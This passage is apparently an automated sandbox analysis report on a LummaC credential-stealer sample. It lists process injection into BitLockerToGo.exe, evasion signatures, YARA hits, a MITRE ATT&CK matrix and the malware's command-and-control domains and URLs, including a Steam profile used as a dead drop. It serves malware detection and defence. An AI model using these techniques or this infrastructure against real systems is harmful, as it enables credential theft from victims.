Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 3836

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FB7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BW4pTs1x3V.exe, 00000000.00000002.1886477830.0000023FBB607000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_02D15AD0 LdrInitializeThunk,

3_2_02D15AD0

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\BW4pTs1x3V.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2CD0000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\BW4pTs1x3V.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2CD0000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: BW4pTs1x3V.exe, 00000000.00000003.1848932922.0000023FE0C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: reinforcenh.shop
Source: BW4pTs1x3V.exe, 00000000.00000003.1848932922.0000023FE0C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stogeneratmns.shop
Source: BW4pTs1x3V.exe, 00000000.00000003.1848932922.0000023FE0C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fragnantbui.shop
Source: BW4pTs1x3V.exe, 00000000.00000003.1848932922.0000023FE0C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: drawzhotdog.shop
Source: BW4pTs1x3V.exe, 00000000.00000003.1848932922.0000023FE0C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: vozmeatillu.shop
Source: BW4pTs1x3V.exe, 00000000.00000003.1848932922.0000023FE0C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: offensivedzvju.shop
Source: BW4pTs1x3V.exe, 00000000.00000003.1848932922.0000023FE0C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: ghostreedmnu.shop
Source: BW4pTs1x3V.exe, 00000000.00000003.1848932922.0000023FE0C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: gutterydhowi.shop
Source: BW4pTs1x3V.exe, 00000000.00000003.1848932922.0000023FE0C80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dividenntykw.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\BW4pTs1x3V.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2CD0000			Jump to behavior
Source: C:\Users\user\Desktop\BW4pTs1x3V.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: A2C008			Jump to behavior

Source: C:\Users\user\Desktop\BW4pTs1x3V.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Jump to behavior

Source: C:\Users\user\Desktop\BW4pTs1x3V.exe	Queries volume information: C:\Users\user\Desktop\BW4pTs1x3V.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BW4pTs1x3V.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BW4pTs1x3V.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BW4pTs1x3V.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BW4pTs1x3V.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BW4pTs1x3V.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\BW4pTs1x3V.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Go Injector

Source: Yara match	File source: BW4pTs1x3V.exe, type: SAMPLE
Source: Yara match	File source: 0.0.BW4pTs1x3V.exe.7ff67ce60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.BW4pTs1x3V.exe.7ff67ce60000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1887668238.00007FF67D7C0000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1452154530.00007FF67D7C0000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BW4pTs1x3V.exe PID: 1668, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected Go Injector

Source: Yara match	File source: BW4pTs1x3V.exe, type: SAMPLE
Source: Yara match	File source: 0.0.BW4pTs1x3V.exe.7ff67ce60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.BW4pTs1x3V.exe.7ff67ce60000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1887668238.00007FF67D7C0000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1452154530.00007FF67D7C0000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BW4pTs1x3V.exe PID: 1668, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	311 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	12 System Information Discovery	SMB/Windows Admin Shares	2 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
BW4pTs1x3V.exe	61%	ReversingLabs	Win64.Trojan.LummaStealer

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://player.vimeo.com	0%	URL Reputation	safe
https://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
http://www.certum.pl/CPS0	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://store.steampowered.com/points/shop/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	0%	URL Reputation	safe
https://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0%	URL Reputation	safe
https://store.steampowered.com/;	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://store.steampowered.com/news/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	0%	URL Reputation	safe
https://store.steampowered.com/stats/	0%	URL Reputation	safe
https://medal.tv	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
dividenntykw.shop	172.67.188.210	true	true	unknown
steamcommunity.com	104.102.49.254	true	false	unknown
gravvitywio.store	172.67.209.193	true	true	unknown
fragnantbui.shop	unknown	unknown	true	unknown
gutterydhowi.shop	unknown	unknown	true	unknown
offensivedzvju.shop	unknown	unknown	true	unknown
stogeneratmns.shop	unknown	unknown	true	unknown
reinforcenh.shop	unknown	unknown	true	unknown
drawzhotdog.shop	unknown	unknown	true	unknown
ghostreedmnu.shop	unknown	unknown	true	unknown
vozmeatillu.shop	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
reinforcenh.shop	true		unknown
stogeneratmns.shop	true		unknown
ghostreedmnu.shop	true		unknown
https://dividenntykw.shop/api	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
fragnantbui.shop	true		unknown
offensivedzvju.shop	true		unknown
drawzhotdog.shop	true		unknown
vozmeatillu.shop	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://player.vimeo.com	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/icons/	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/?subsection=broadcasts	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.discordapp.com/banners/	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://cdn.discordapp.com/guilds/	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/subscriber_agreement/	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com/api/v9/oauth2/	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com/api/v9/gateway/bot	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://discord.com/api/v9/guilds/	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=w4s3	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.valvesoftware.com/legal.htm	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=pvBDaFhF2LLJ&l=e	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.youtube.com	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gravvitywio.store/	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com/MESSAGE_REACTION_ADDTHREAD_MEMBER_UPDATEunmarshall	BW4pTs1x3V.exe	false		unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com/api/v9/users/	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://cdn.discordapp.com/attachments/	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://s.ytimg.com;	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://discord.com/api/v9/stage-instances	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.certum.pl/CPS0	BW4pTs1x3V.exe	false	URL Reputation: safe	unknown
https://steam.tv/	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com/api/v9//voice/regions	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://cevcsca2021.ocsp-certum.com07	BW4pTs1x3V.exe	false		unknown
https://status.discord.com/api/v2/scheduled-maintenances/upcoming.json	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C0000E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store.steampowered.com/privacy_agreement/	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/points/shop/	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cevcsca2021.crl.certum.pl/cevcsca2021.crl0w	BW4pTs1x3V.exe	false		unknown
https://discord.com/api/v9/applications	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://sketchfab.com	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://lv.queniujq.cn	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://www.youtube.com/	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/privacy_agreement/	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/role-icons/	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://vozmeatillu.shop/apix	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://discord.com/api/v9/	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C0000A2000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://discord.com/api/v9/09Az~~	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C0000A2000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://dividenntykw.shop/t	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FCC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/recaptcha/	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gravvitywio.store:443/apifiles/76561199724331900	BitLockerToGo.exe, 00000003.00000002.1919363616.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	BitLockerToGo.exe, 00000003.00000003.1905526409.0000000003063000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	BitLockerToGo.exe, 00000003.00000003.1919145050.0000000003077000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1905526409.000000000306A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com/api/v9/guilds/https://discord.com/api/v9/channels/https://discord.com/api/v9/use	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://discord.com/api/v9//sticker-packs	BW4pTs1x3V.exe, 00000000.00000002.1878415908.000000C000096000.00000004.00001000.00020000.00000000.sdmp	false		unknown
